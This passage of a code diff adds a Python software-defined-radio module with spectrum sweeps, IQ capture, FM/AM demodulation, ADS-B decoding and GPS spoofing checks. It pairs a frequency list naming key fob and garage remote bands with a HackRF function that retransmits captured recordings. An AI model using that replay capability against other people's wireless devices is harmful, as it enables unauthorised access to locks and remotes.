'Weather': { + 'range': '162.4-162.55 MHz', + 'entries': [ + {'freq': 162400000, 'name': 'NOAA WX1'}, + {'freq': 162425000, 'name': 'NOAA WX2'}, + {'freq': 162450000, 'name': 'NOAA WX3'}, + {'freq': 162475000, 'name': 'NOAA WX4'}, + {'freq': 162500000, 'name': 'NOAA WX5'}, + {'freq': 162525000, 'name': 'NOAA WX6'}, + {'freq': 162550000, 'name': 'NOAA WX7'}, + ], + }, + 'ISM 433': { + 'range': '433-434 MHz', + 'notes': 'Garage doors, key fobs, weather stations, tire pressure sensors', + 'entries': [ + {'freq': 433050000, 'name': 'ISM 433.05 — Key Fobs'}, + {'freq': 433420000, 'name': 'ISM 433.42 — TPMS'}, + {'freq': 433920000, 'name': 'ISM 433.92 — Common Remote'}, + {'freq': 434000000, 'name': 'ISM Band End'}, + ], + }, + 'ISM 915': { + 'range': '902-928 MHz', + 'notes': 'LoRa, smart meters, Z-Wave, RFID', + 'entries': [ + {'freq': 902000000, 'name': 'ISM 902 Band Start'}, + {'freq': 903900000, 'name': 'LoRa Uplink Start'}, + {'freq': 915000000, 'name': 'ISM Center'}, + {'freq': 923300000, 'name': 'LoRa Downlink Start'}, + {'freq': 928000000, 'name': 'ISM 928 Band End'}, + ], + }, + 'Pager': { + 'range': '929-932 MHz', + 'entries': [ + {'freq': 929000000, 'name': 'Pager Band Start'}, + {'freq': 931000000, 'name': 'Common Pager Freq'}, + {'freq': 931862500, 'name': 'FLEX Pager'}, + ], + }, + 'ADS-B': { + 'range': '1090 MHz', + 'entries': [ + {'freq': 978000000, 'name': 'UAT (978 MHz) — GA'}, + {'freq': 1090000000, 'name': 'Mode S Extended Squitter'}, + ], + }, + 'GPS L1': { + 'range': '1575.42 MHz', + 'entries': [ + {'freq': 1575420000, 'name': 'GPS L1 C/A'}, + {'freq': 1176450000, 'name': 'GPS L5'}, + {'freq': 1227600000, 'name': 'GPS L2'}, + {'freq': 1602000000, 'name': 'GLONASS L1'}, + ], + }, + 'WiFi 2.4': { + 'range': '2.4-2.5 GHz', + 'entries': [ + {'freq': 2412000000, 'name': 'Channel 1'}, + {'freq': 2437000000, 'name': 'Channel 6'}, + {'freq': 2462000000, 'name': 'Channel 11'}, + ], + }, + 'Public Safety': { + 'range': '150-174 / 450-470 MHz', + 'entries': [ + {'freq': 155475000, 'name': 'Police Mutual Aid'}, + {'freq': 155520000, 'name': 'Fire Mutual Aid'}, + {'freq': 156750000, 'name': 'Search & Rescue'}, + {'freq': 460025000, 'name': 'Police UHF Common'}, + {'freq': 462562500, 'name': 'FRS Channel 1'}, + {'freq': 462675000, 'name': 'GMRS Repeater'}, + ], + }, + 'Amateur': { + 'range': 'Various bands', + 'entries': [ + {'freq': 144000000, 'name': '2m Band Start'}, + {'freq': 146520000, 'name': '2m Calling Freq'}, + {'freq': 146940000, 'name': '2m Repeater'}, + {'freq': 440000000, 'name': '70cm Band Start'}, + {'freq': 446000000, 'name': '70cm Calling Freq'}, + ], + }, +} + + +# ── Drone RF Frequency Reference ───────────────────────────────────────────── + +DRONE_FREQUENCIES = { + 'dji_control_2g': {'center': 2437000000, 'bandwidth': 40000000, 'desc': 'DJI OcuSync 2.4 GHz Control'}, + 'dji_control_5g': {'center': 5787000000, 'bandwidth': 80000000, 'desc': 'DJI OcuSync 5.8 GHz Control'}, + 'fpv_video_5g': {'center': 5800000000, 'bandwidth': 200000000, 'desc': 'Analog FPV 5.8 GHz Video'}, + 'crossfire_900': {'center': 915000000, 'bandwidth': 26000000, 'desc': 'TBS Crossfire 900 MHz'}, + 'elrs_2g': {'center': 2440000000, 'bandwidth': 80000000, 'desc': 'ExpressLRS 2.4 GHz'}, + 'elrs_900': {'center': 915000000, 'bandwidth': 26000000, 'desc': 'ExpressLRS 900 MHz'}, + 'analog_video_12g': {'center': 1280000000, 'bandwidth': 100000000, 'desc': '1.2 GHz Analog Video'}, + 'telemetry_433': {'center': 433000000, 'bandwidth': 2000000, 'desc': '433 MHz Telemetry'}, +} + +FPV_5G_CHANNELS = { + 'R1': 5658, 'R2': 5695, 'R3': 5732, 'R4': 5769, 'R5': 5806, 'R6': 5843, 'R7': 5880, 'R8': 5917, + 'F1': 5740, 'F2': 5760, 'F3': 5780, 'F4': 5800, 'F5': 5820, 'F6': 5840, 'F7': 5860, 'F8': 5880, + 'E1': 5705, 'E2': 5685, 'E3': 5665, 'E4': 5645, 'E5': 5885, 'E6': 5905, 'E7': 5925, 'E8': 5945, + 'A1': 5865, 'A2': 5845, 'A3': 5825, 'A4': 5805, 'A5': 5785, 'A6': 5765, 'A7': 5745, 'A8': 5725, +} + + +# ── SDR Tools Class ────────────────────────────────────────────────────────── + +class SDRTools: + """Software-defined radio integration for the AUTARCH platform.""" + + _instance = None + + def __init__(self): + self._sdr_dir = Path(str(get_data_dir())) / 'sdr' + self._sdr_dir.mkdir(parents=True, exist_ok=True) + self._recordings_dir = self._sdr_dir / 'recordings' + self._recordings_dir.mkdir(parents=True, exist_ok=True) + self._metadata_file = self._sdr_dir / 'recordings_meta.json' + self._capture_process: Optional[subprocess.Popen] = None + self._capture_lock = threading.Lock() + self._capture_info: Dict[str, Any] = {} + self._adsb_process: Optional[subprocess.Popen] = None + self._adsb_thread: Optional[threading.Thread] = None + self._adsb_running = False + self._adsb_aircraft: Dict[str, Dict[str, Any]] = {} + self._adsb_lock = threading.Lock() + # Drone detection state + self._drone_process: Optional[subprocess.Popen] = None + self._drone_thread: Optional[threading.Thread] = None + self._drone_running = False + self._drone_detections: List[Dict[str, Any]] = [] + self._drone_lock = threading.Lock() + self._drone_detections_file = self._sdr_dir / 'drone_detections.json' + self._load_drone_detections() + self._load_metadata() + + def _load_metadata(self): + """Load recording metadata from disk.""" + try: + if self._metadata_file.exists(): + with open(self._metadata_file, 'r') as f: + self._metadata = json.load(f) + else: + self._metadata = [] + except Exception: + self._metadata = [] + + def _save_metadata(self): + """Persist recording metadata to disk.""" + try: + with open(self._metadata_file, 'w') as f: + json.dump(self._metadata, f, indent=2) + except Exception: + pass + + def _run_cmd(self, cmd: str, timeout: int = 30) -> tuple: + """Run a shell command and return (success, stdout).""" + try: + result = subprocess.run( + cmd, shell=True, capture_output=True, text=True, timeout=timeout + ) + return result.returncode == 0, result.stdout.strip() + except subprocess.TimeoutExpired: + return False, 'Command timed out' + except Exception as e: + return False, str(e) + + # ── Device Detection ───────────────────────────────────────────────────── + + def detect_devices(self) -> List[Dict[str, Any]]: + """Detect connected SDR devices (RTL-SDR, HackRF).""" + devices = [] + + # Check RTL-SDR + rtl_test = find_tool('rtl_test') + if rtl_test: + try: + result = subprocess.run( + [rtl_test, '-t'], + capture_output=True, text=True, timeout=8 + ) + output = result.stdout + result.stderr + # Look for "Found N device(s)" pattern + match = re.search(r'Found\s+(\d+)\s+device', output) + if match: + count = int(match.group(1)) + if count > 0: + # Parse each device + for m in re.finditer( + r'(\d+):\s+(.+?)(?:,\s*(.+?))?\s*(?:SN:\s*(\S+))?', + output + ): + devices.append({ + 'type': 'rtl-sdr', + 'index': int(m.group(1)), + 'name': m.group(2).strip(), + 'serial': m.group(4) or 'N/A', + 'status': 'available', + 'capabilities': ['rx'], + }) + # If regex didn't match specifics, add generic entry + if not devices: + for i in range(count): + devices.append({ + 'type': 'rtl-sdr', + 'index': i, + 'name': 'RTL-SDR Device', + 'serial': 'N/A', + 'status': 'available', + 'capabilities': ['rx'], + }) + elif 'No supported devices' not in output: + # rtl_test ran but gave unexpected output + pass + except subprocess.TimeoutExpired: + pass + except Exception: + pass + else: + devices.append({ + 'type': 'rtl-sdr', + 'name': 'RTL-SDR', + 'serial': 'N/A', + 'status': 'tool_missing', + 'note': 'rtl_test not found — install rtl-sdr package', + 'capabilities': [], + }) + + # Check HackRF + hackrf_info = find_tool('hackrf_info') + if hackrf_info: + try: + result = subprocess.run( + [hackrf_info], + capture_output=True, text=True, timeout=8 + ) + output = result.stdout + result.stderr + if 'Serial number' in output: + serials = re.findall(r'Serial number:\s*(\S+)', output) + fw_versions = re.findall(r'Firmware Version:\s*(.+)', output) + for idx, serial in enumerate(serials): + devices.append({ + 'type': 'hackrf', + 'index': idx, + 'name': 'HackRF One', + 'serial': serial, + 'firmware': fw_versions[idx].strip() if idx < len(fw_versions) else 'Unknown', + 'status': 'available', + 'capabilities': ['rx', 'tx'], + }) + elif 'No HackRF' in output or result.returncode != 0: + pass + except subprocess.TimeoutExpired: + pass + except Exception: + pass + else: + devices.append({ + 'type': 'hackrf', + 'name': 'HackRF', + 'serial': 'N/A', + 'status': 'tool_missing', + 'note': 'hackrf_info not found — install hackrf package', + 'capabilities': [], + }) + + return devices + + # ── Spectrum Scanning ──────────────────────────────────────────────────── + + def scan_spectrum(self, device: str = 'rtl', freq_start: int = 88000000, + freq_end: int = 108000000, step: Optional[int] = None, + gain: Optional[int] = None, duration: int = 5) -> Dict[str, Any]: + """Sweep a frequency range and collect signal strength at each step. + + Returns a dict with 'data' (list of {freq, power_db}) and scan metadata. + """ + if step is None: + # Auto-calculate step based on range + span = freq_end - freq_start + if span <= 1000000: + step = 10000 # 10 kHz steps for narrow scans + elif span <= 10000000: + step = 100000 # 100 kHz steps + elif span <= 100000000: + step = 250000 # 250 kHz steps + else: + step = 1000000 # 1 MHz steps for wide scans + + results = {'data': [], 'device': device, 'freq_start': freq_start, + 'freq_end': freq_end, 'step': step, 'timestamp': datetime.now(timezone.utc).isoformat()} + + if device == 'hackrf': + return self._scan_hackrf(freq_start, freq_end, step, gain, duration, results) + else: + return self._scan_rtl(freq_start, freq_end, step, gain, duration, results) + + def _scan_rtl(self, freq_start, freq_end, step, gain, duration, results): + """Spectrum scan using rtl_power.""" + rtl_power = find_tool('rtl_power') + if not rtl_power: + results['error'] = 'rtl_power not found — install rtl-sdr package' + return results + + # rtl_power output file + outfile = self._sdr_dir / 'spectrum_scan.csv' + if outfile.exists(): + outfile.unlink() + + # Build command: rtl_power -f :: -g -i -1 + cmd = [rtl_power, + '-f', f'{freq_start}:{freq_end}:{step}', + '-i', str(duration), + '-1'] # single sweep + if gain is not None: + cmd.extend(['-g', str(gain)]) + cmd.append(str(outfile)) + + try: + proc = subprocess.run(cmd, capture_output=True, text=True, + timeout=duration + 30) + if not outfile.exists(): + results['error'] = 'No output from rtl_power: ' + (proc.stderr or proc.stdout) + return results + + # Parse CSV: date,time,Hz_low,Hz_high,Hz_step,samples,dB,dB,... + with open(outfile, 'r') as f: + for line in f: + line = line.strip() + if not line: + continue + parts = line.split(',') + if len(parts) < 7: + continue + try: + hz_low = float(parts[2]) + hz_step = float(parts[4]) + db_values = [float(x) for x in parts[6:] if x.strip()] + for i, db in enumerate(db_values): + freq = hz_low + (i * hz_step) + results['data'].append({ + 'freq': int(freq), + 'power_db': round(db, 2) + }) + except (ValueError, IndexError): + continue + + results['points'] = len(results['data']) + except subprocess.TimeoutExpired: + results['error'] = 'Spectrum scan timed out' + except Exception as e: + results['error'] = str(e) + + return results + + def _scan_hackrf(self, freq_start, freq_end, step, gain, duration, results): + """Spectrum scan using hackrf_sweep.""" + hackrf_sweep = find_tool('hackrf_sweep') + if not hackrf_sweep: + results['error'] = 'hackrf_sweep not found — install hackrf package' + return results + + # Convert Hz to MHz for hackrf_sweep + f_start_mhz = freq_start // 1000000 + f_end_mhz = max(freq_end // 1000000, f_start_mhz + 1) + + cmd = [hackrf_sweep, + '-f', f'{f_start_mhz}:{f_end_mhz}', + '-n', '8192', # FFT bin width + '-w', str(step)] + if gain is not None: + cmd.extend(['-l', str(gain)]) # LNA gain + + try: + proc = subprocess.run(cmd, capture_output=True, text=True, + timeout=duration + 30) + output = proc.stdout + # Parse hackrf_sweep output: date,time,Hz_low,Hz_high,Hz_bin_width,num_samples,dB... + for line in output.splitlines(): + line = line.strip() + if not line or line.startswith('#'): + continue + parts = line.split(',') + if len(parts) < 7: + continue + try: + hz_low = float(parts[2].strip()) + hz_bin_width = float(parts[4].strip()) + db_values = [float(x.strip()) for x in parts[6:] if x.strip()] + for i, db in enumerate(db_values): + freq = hz_low + (i * hz_bin_width) + if freq_start <= freq <= freq_end: + results['data'].append({ + 'freq': int(freq), + 'power_db': round(db, 2) + }) + except (ValueError, IndexError): + continue + + results['points'] = len(results['data']) + except subprocess.TimeoutExpired: + results['error'] = 'HackRF sweep timed out' + except Exception as e: + results['error'] = str(e) + + return results + + # ── Signal Capture ─────────────────────────────────────────────────────── + + def start_capture(self, device: str = 'rtl', frequency: int = 100000000, + sample_rate: int = 2048000, gain: str = 'auto', + duration: int = 10, output: Optional[str] = None) -> Dict[str, Any]: + """Capture raw IQ samples to a file.""" + with self._capture_lock: + if self._capture_process is not None and self._capture_process.poll() is None: + return {'error': 'Capture already in progress', 'capturing': True} + + ts = datetime.now(timezone.utc).strftime('%Y%m%d_%H%M%S') + freq_mhz = frequency / 1000000 + filename = output or f'capture_{freq_mhz:.3f}MHz_{ts}.raw' + filepath = self._recordings_dir / filename + + if device == 'hackrf': + tool = find_tool('hackrf_transfer') + if not tool: + return {'error': 'hackrf_transfer not found — install hackrf package'} + cmd = [tool, + '-r', str(filepath), + '-f', str(frequency), + '-s', str(sample_rate), + '-n', str(sample_rate * duration)] + if gain != 'auto': + cmd.extend(['-l', str(gain)]) + else: + tool = find_tool('rtl_sdr') + if not tool: + return {'error': 'rtl_sdr not found — install rtl-sdr package'} + cmd = [tool, + '-f', str(frequency), + '-s', str(sample_rate), + '-n', str(sample_rate * duration)] + if gain != 'auto': + cmd.extend(['-g', str(gain)]) + cmd.append(str(filepath)) + + try: + self._capture_process = subprocess.Popen( + cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + self._capture_info = { + 'file': str(filepath), + 'filename': filename, + 'device': device, + 'frequency': frequency, + 'sample_rate': sample_rate, + 'gain': gain, + 'duration': duration, + 'started': datetime.now(timezone.utc).isoformat(), + 'pid': self._capture_process.pid, + } + + # Auto-stop thread + def _auto_stop(): + try: + self._capture_process.wait(timeout=duration + 5) + except subprocess.TimeoutExpired: + self._capture_process.terminate() + finally: + self._finalize_capture() + + t = threading.Thread(target=_auto_stop, daemon=True) + t.start() + + return { + 'status': 'capturing', + 'file': filename, + 'frequency': frequency, + 'sample_rate': sample_rate, + 'duration': duration, + 'device': device, + } + except Exception as e: + self._capture_process = None + return {'error': f'Failed to start capture: {e}'} + + def _finalize_capture(self): + """Save metadata for a completed capture.""" + with self._capture_lock: + info = self._capture_info.copy() + filepath = Path(info.get('file', '')) + if filepath.exists(): + size = filepath.stat().st_size + info['size'] = size + info['size_human'] = self._human_size(size) + # Calculate actual duration from file size + sr = info.get('sample_rate', 2048000) + # IQ samples: 2 bytes per sample (8-bit I + 8-bit Q) for RTL-SDR + bytes_per_sample = 2 + actual_samples = size / bytes_per_sample + info['actual_duration'] = round(actual_samples / sr, 2) if sr > 0 else 0 + info['completed'] = datetime.now(timezone.utc).isoformat() + self._metadata.append(info) + self._save_metadata() + self._capture_process = None + self._capture_info = {} + + def stop_capture(self) -> Dict[str, Any]: + """Stop an active capture.""" + with self._capture_lock: + if self._capture_process is None or self._capture_process.poll() is not None: + return {'status': 'no_capture', 'message': 'No capture is running'} + try: + self._capture_process.terminate() + self._capture_process.wait(timeout=5) + except subprocess.TimeoutExpired: + self._capture_process.kill() + except Exception: + pass + self._finalize_capture() + return {'status': 'stopped', 'message': 'Capture stopped'} + + def is_capturing(self) -> bool: + """Check if a capture is currently running.""" + with self._capture_lock: + return (self._capture_process is not None + and self._capture_process.poll() is None) + + # ── Replay ─────────────────────────────────────────────────────────────── + + def replay_signal(self, file_path: str, frequency: int = 100000000, + sample_rate: int = 2048000, gain: int = 47) -> Dict[str, Any]: + """Transmit a captured signal via HackRF (TX only on HackRF).""" + hackrf = find_tool('hackrf_transfer') + if not hackrf: + return {'error': 'hackrf_transfer not found — install hackrf package'} + + # Resolve file path + fpath = Path(file_path) + if not fpath.is_absolute(): + fpath = self._recordings_dir / file_path + if not fpath.exists(): + return {'error': f'Recording file not found: {file_path}'} + + cmd = [hackrf, + '-t', str(fpath), + '-f', str(frequency), + '-s', str(sample_rate), + '-x', str(gain)] # -x = TX VGA gain + + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + if result.returncode == 0: + return { + 'status': 'completed', + 'message': f'Replayed {fpath.name} at {frequency/1e6:.3f} MHz', + 'file': fpath.name, + 'frequency': frequency, + } + else: + return { + 'error': f'Replay failed: {result.stderr or result.stdout}', + 'returncode': result.returncode, + } + except subprocess.TimeoutExpired: + return {'error': 'Replay timed out'} + except Exception as e: + return {'error': str(e)} + + # ── Recordings Management ──────────────────────────────────────────────── + + def list_recordings(self) -> List[Dict[str, Any]]: + """List all saved recordings with metadata.""" + self._load_metadata() + recordings = [] + # Include metadata-tracked recordings + for meta in self._metadata: + filepath = Path(meta.get('file', '')) + if filepath.exists(): + meta_copy = meta.copy() + meta_copy['exists'] = True + recordings.append(meta_copy) + else: + meta_copy = meta.copy() + meta_copy['exists'] = False + recordings.append(meta_copy) + + # Also check for un-tracked files in the recordings directory + tracked_files = {Path(m.get('file', '')).name for m in self._metadata} + for f in self._recordings_dir.iterdir(): + if f.is_file() and f.suffix in ('.raw', '.iq', '.wav', '.cu8', '.cs8'): + if f.name not in tracked_files: + stat = f.stat() + recordings.append({ + 'file': str(f), + 'filename': f.name, + 'size': stat.st_size, + 'size_human': self._human_size(stat.st_size), + 'device': 'unknown', + 'frequency': 0, + 'sample_rate': 0, + 'completed': datetime.fromtimestamp( + stat.st_mtime, tz=timezone.utc + ).isoformat(), + 'exists': True, + 'untracked': True, + }) + + # Sort by completed time, newest first + recordings.sort(key=lambda r: r.get('completed', ''), reverse=True) + return recordings + + def delete_recording(self, recording_id: str) -> Dict[str, Any]: + """Delete a recording by filename.""" + # Try to match against metadata + self._load_metadata() + new_meta = [] + deleted = False + for meta in self._metadata: + fname = Path(meta.get('file', '')).name + if fname == recording_id or meta.get('filename') == recording_id: + filepath = Path(meta.get('file', '')) + if filepath.exists(): + try: + filepath.unlink() + except Exception: + pass + deleted = True + else: + new_meta.append(meta) + + if deleted: + self._metadata = new_meta + self._save_metadata() + return {'status': 'deleted', 'file': recording_id} + + # Try direct file match in recordings directory + fpath = self._recordings_dir / recording_id + if fpath.exists(): + try: + fpath.unlink() + return {'status': 'deleted', 'file': recording_id} + except Exception as e: + return {'error': f'Could not delete: {e}'} + + return {'error': f'Recording not found: {recording_id}'} + + # ── Demodulation ───────────────────────────────────────────────────────── + + def demodulate_fm(self, file_path: str, frequency: Optional[int] = None) -> Dict[str, Any]: + """FM demodulate captured IQ data to audio.""" + fpath = self._resolve_recording(file_path) + if not fpath: + return {'error': f'Recording file not found: {file_path}'} + + outfile = fpath.with_suffix('.fm.wav') + + # Method 1: Use rtl_fm pipeline (if file was captured with rtl_sdr) + sox = find_tool('sox') + rtl_fm = find_tool('rtl_fm') + + # We'll use a Python-based approach: read raw IQ, apply FM demod, write WAV + try: + raw = fpath.read_bytes() + if len(raw) < 1024: + return {'error': 'File too small to demodulate'} + + # Assume unsigned 8-bit IQ (RTL-SDR default) + samples = [] + for i in range(0, len(raw) - 1, 2): + i_val = (raw[i] - 127.5) / 127.5 + q_val = (raw[i + 1] - 127.5) / 127.5 + samples.append(complex(i_val, q_val)) + + if len(samples) < 2: + return {'error': 'Not enough samples for demodulation'} + + # FM demodulation: phase difference between consecutive samples + audio = [] + for i in range(1, len(samples)): + conj = complex(samples[i - 1].real, -samples[i - 1].imag) + product = samples[i] * conj + import math + phase = math.atan2(product.imag, product.real) + audio.append(phase) + + # Downsample to ~48 kHz audio + # Assume 2.048 MHz sample rate → decimate by 42 for ~48.7 kHz + decimation = 42 + decimated = [audio[i] for i in range(0, len(audio), decimation)] + + # Normalize to 16-bit PCM + if not decimated: + return {'error': 'Demodulation produced no audio samples'} + max_val = max(abs(s) for s in decimated) or 1.0 + pcm = [int((s / max_val) * 32000) for s in decimated] + + # Write WAV file + import wave + with wave.open(str(outfile), 'w') as wav: + wav.setnchannels(1) + wav.setsampwidth(2) + wav.setframerate(48000) + wav.writeframes(struct.pack(f'<{len(pcm)}h', *pcm)) + + return { + 'status': 'completed', + 'output': str(outfile), + 'filename': outfile.name, + 'samples': len(pcm), + 'duration': round(len(pcm) / 48000, 2), + 'mode': 'FM', + } + except Exception as e: + return {'error': f'FM demodulation failed: {e}'} + + def demodulate_am(self, file_path: str, frequency: Optional[int] = None) -> Dict[str, Any]: + """AM demodulate captured IQ data to audio.""" + fpath = self._resolve_recording(file_path) + if not fpath: + return {'error': f'Recording file not found: {file_path}'} + + outfile = fpath.with_suffix('.am.wav') + + try: + raw = fpath.read_bytes() + if len(raw) < 1024: + return {'error': 'File too small to demodulate'} + + # AM demodulation: envelope detection (magnitude of IQ samples) + audio = [] + for i in range(0, len(raw) - 1, 2): + i_val = (raw[i] - 127.5) / 127.5 + q_val = (raw[i + 1] - 127.5) / 127.5 + import math + magnitude = math.sqrt(i_val * i_val + q_val * q_val) + audio.append(magnitude) + + if not audio: + return {'error': 'Not enough samples for AM demodulation'} + + # Remove DC offset + mean_val = sum(audio) / len(audio) + audio = [s - mean_val for s in audio] + + # Downsample to ~48 kHz + decimation = 42 + decimated = [audio[i] for i in range(0, len(audio), decimation)] + + # Normalize to 16-bit PCM + if not decimated: + return {'error': 'Demodulation produced no audio samples'} + max_val = max(abs(s) for s in decimated) or 1.0 + pcm = [int((s / max_val) * 32000) for s in decimated] + + # Write WAV + import wave + with wave.open(str(outfile), 'w') as wav: + wav.setnchannels(1) + wav.setsampwidth(2) + wav.setframerate(48000) + wav.writeframes(struct.pack(f'<{len(pcm)}h', *pcm)) + + return { + 'status': 'completed', + 'output': str(outfile), + 'filename': outfile.name, + 'samples': len(pcm), + 'duration': round(len(pcm) / 48000, 2), + 'mode': 'AM', + } + except Exception as e: + return {'error': f'AM demodulation failed: {e}'} + + # ── ADS-B Tracking ─────────────────────────────────────────────────────── + + def start_adsb(self, device: str = 'rtl') -> Dict[str, Any]: + """Start ADS-B aircraft tracking (1090 MHz).""" + with self._adsb_lock: + if self._adsb_running: + return {'status': 'already_running', 'message': 'ADS-B tracking is already active'} + + # Try dump1090 first, then rtl_adsb + dump1090 = find_tool('dump1090') + rtl_adsb = find_tool('rtl_adsb') + tool = dump1090 or rtl_adsb + + if not tool: + return {'error': 'No ADS-B tool found — install dump1090 or rtl-sdr (rtl_adsb)'} + + try: + if dump1090: + cmd = [dump1090, '--raw', '--net-only', '--quiet'] + else: + cmd = [rtl_adsb] + + self._adsb_process = subprocess.Popen( + cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True + ) + self._adsb_running = True + self._adsb_aircraft.clear() + + # Background thread to parse output + self._adsb_thread = threading.Thread( + target=self._adsb_reader, daemon=True + ) + self._adsb_thread.start() + + return { + 'status': 'started', + 'tool': Path(tool).name, + 'message': f'ADS-B tracking started with {Path(tool).name}', + } + except Exception as e: + self._adsb_running = False + return {'error': f'Failed to start ADS-B: {e}'} + + def _adsb_reader(self): + """Background thread to read and parse ADS-B output.""" + try: + while self._adsb_running and self._adsb_process: + line = self._adsb_process.stdout.readline() + if not line: + if self._adsb_process.poll() is not None: + break + continue + line = line.strip() + if not line: + continue + self._parse_adsb_message(line) + except Exception: + pass + finally: + self._adsb_running = False + + def _parse_adsb_message(self, msg: str): + """Parse a raw ADS-B hex message and update aircraft tracking.""" + # Clean up message + msg = msg.strip().lstrip('*').rstrip(';') + if not msg or len(msg) < 14: + return + + try: + data = bytes.fromhex(msg) + except ValueError: + return + + # Downlink Format (first 5 bits) + df = (data[0] >> 3) & 0x1F + + # We primarily care about DF17 (ADS-B extended squitter) + if df == 17 and len(data) >= 7: + # ICAO address is bytes 1-3 + icao = data[1:4].hex().upper() + # Type code is first 5 bits of ME field (byte 4) + tc = (data[4] >> 3) & 0x1F + + now = datetime.now(timezone.utc).isoformat() + + with self._adsb_lock: + if icao not in self._adsb_aircraft: + self._adsb_aircraft[icao] = { + 'icao': icao, + 'callsign': '', + 'altitude': None, + 'speed': None, + 'heading': None, + 'lat': None, + 'lon': None, + 'vertical_rate': None, + 'squawk': '', + 'first_seen': now, + 'last_seen': now, + 'messages': 0, + } + + ac = self._adsb_aircraft[icao] + ac['last_seen'] = now + ac['messages'] += 1 + + # TC 1-4: Aircraft identification + if 1 <= tc <= 4: + charset = '#ABCDEFGHIJKLMNOPQRSTUVWXYZ#####_###############0123456789######' + callsign = '' + if len(data) >= 11: + bits = int.from_bytes(data[4:11], 'big') + for i in range(8): + idx = (bits >> (42 - i * 6)) & 0x3F + if idx < len(charset): + callsign += charset[idx] + ac['callsign'] = callsign.strip().strip('#') + + # TC 9-18: Airborne position + elif 9 <= tc <= 18: + if len(data) >= 11: + alt_code = ((data[5] & 0xFF) << 4) | ((data[6] >> 4) & 0x0F) + # Remove Q-bit (bit 4) + q_bit = (alt_code >> 4) & 1 + if q_bit: + n = ((alt_code >> 5) << 4) | (alt_code & 0x0F) + ac['altitude'] = n * 25 - 1000 + + # TC 19: Airborne velocity + elif tc == 19: + if len(data) >= 11: + sub = data[4] & 0x07 + if sub in (1, 2): + ew_dir = (data[5] >> 2) & 1 + ew_vel = ((data[5] & 0x03) << 8) | data[6] + ns_dir = (data[7] >> 7) & 1 + ns_vel = ((data[7] & 0x7F) << 3) | ((data[8] >> 5) & 0x07) + ew_vel = (ew_vel - 1) * (-1 if ew_dir else 1) + ns_vel = (ns_vel - 1) * (-1 if ns_dir else 1) + import math + ac['speed'] = round(math.sqrt(ew_vel**2 + ns_vel**2)) + ac['heading'] = round(math.degrees(math.atan2(ew_vel, ns_vel)) % 360) + + def stop_adsb(self) -> Dict[str, Any]: + """Stop ADS-B tracking.""" + with self._adsb_lock: + if not self._adsb_running: + return {'status': 'not_running', 'message': 'ADS-B tracking is not active'} + + self._adsb_running = False + if self._adsb_process: + try: + self._adsb_process.terminate() + self._adsb_process.wait(timeout=5) + except Exception: + try: + self._adsb_process.kill() + except Exception: + pass + self._adsb_process = None + + count = len(self._adsb_aircraft) + return { + 'status': 'stopped', + 'message': f'ADS-B tracking stopped — {count} aircraft tracked', + 'aircraft_count': count, + } + + def get_adsb_aircraft(self) -> List[Dict[str, Any]]: + """Return current list of tracked aircraft.""" + with self._adsb_lock: + aircraft = list(self._adsb_aircraft.values()) + # Sort by last seen, most recent first + aircraft.sort(key=lambda a: a.get('last_seen', ''), reverse=True) + return aircraft + + # ── GPS Spoofing Detection ─────────────────────────────────────────────── + + def detect_gps_spoofing(self, duration: int = 30) -> Dict[str, Any]: + """Monitor GPS L1 frequency for spoofing indicators. + + Checks for: multiple strong signals, unusual power levels, + inconsistent signal patterns that suggest spoofing. + """ + gps_freq = 1575420000 # GPS L1 C/A: 1575.42 MHz + bandwidth = 2048000 # 2 MHz bandwidth around center + + rtl_power = find_tool('rtl_power') + rtl_sdr = find_tool('rtl_sdr') + + if not rtl_power and not rtl_sdr: + return {'error': 'No RTL-SDR tools found — install rtl-sdr package'} + + results = { + 'frequency': gps_freq, + 'duration': duration, + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'analysis': {}, + 'spoofing_indicators': [], + 'risk_level': 'unknown', + } + + # Capture a short sample at GPS L1 frequency + if rtl_power: + outfile = self._sdr_dir / 'gps_check.csv' + if outfile.exists(): + outfile.unlink() + + freq_lo = gps_freq - 1000000 + freq_hi = gps_freq + 1000000 + cmd = [rtl_power, + '-f', f'{freq_lo}:{freq_hi}:10000', + '-i', str(min(duration, 10)), + '-1', + str(outfile)] + + try: + subprocess.run(cmd, capture_output=True, timeout=duration + 15) + + if outfile.exists(): + powers = [] + with open(outfile, 'r') as f: + for line in f: + parts = line.strip().split(',') + if len(parts) >= 7: + try: + db_values = [float(x) for x in parts[6:] if x.strip()] + powers.extend(db_values) + except ValueError: + continue + + if powers: + avg_power = sum(powers) / len(powers) + max_power = max(powers) + min_power = min(powers) + # Count strong signals (above average + 10dB) + threshold = avg_power + 10 + strong_signals = sum(1 for p in powers if p > threshold) + + results['analysis'] = { + 'avg_power_db': round(avg_power, 2), + 'max_power_db': round(max_power, 2), + 'min_power_db': round(min_power, 2), + 'power_range_db': round(max_power - min_power, 2), + 'strong_signals': strong_signals, + 'total_bins': len(powers), + } + + # Spoofing indicators + if max_power > -20: + results['spoofing_indicators'].append({ + 'indicator': 'Unusually strong GPS signal', + 'detail': f'Max power: {max_power:.1f} dBm (normal GPS: -130 to -120 dBm at ground)', + 'severity': 'high', + }) + + if strong_signals > len(powers) * 0.3: + results['spoofing_indicators'].append({ + 'indicator': 'Multiple strong carriers detected', + 'detail': f'{strong_signals} strong signals out of {len(powers)} bins', + 'severity': 'high', + }) + + if max_power - min_power < 5 and max_power > -60: + results['spoofing_indicators'].append({ + 'indicator': 'Flat power distribution', + 'detail': f'Power range only {max_power - min_power:.1f} dB — consistent with artificial signal', + 'severity': 'medium', + }) + + if max_power > -80: + results['spoofing_indicators'].append({ + 'indicator': 'Signal strength above expected GPS level', + 'detail': f'Max {max_power:.1f} dBm is well above typical GPS signal levels', + 'severity': 'medium', + }) + + # Overall risk + high = sum(1 for i in results['spoofing_indicators'] if i['severity'] == 'high') + med = sum(1 for i in results['spoofing_indicators'] if i['severity'] == 'medium') + if high >= 2: + results['risk_level'] = 'high' + elif high >= 1 or med >= 2: + results['risk_level'] = 'medium' + elif med >= 1: + results['risk_level'] = 'low' + else: + results['risk_level'] = 'none' + else: + results['analysis']['note'] = 'No power data collected — antenna may not receive GPS L1' + results['risk_level'] = 'unknown' + except subprocess.TimeoutExpired: + results['error'] = 'GPS monitoring timed out' + except Exception as e: + results['error'] = str(e) + else: + results['error'] = 'rtl_power not found (required for GPS analysis)' + + return results + + # ── Drone RF Detection 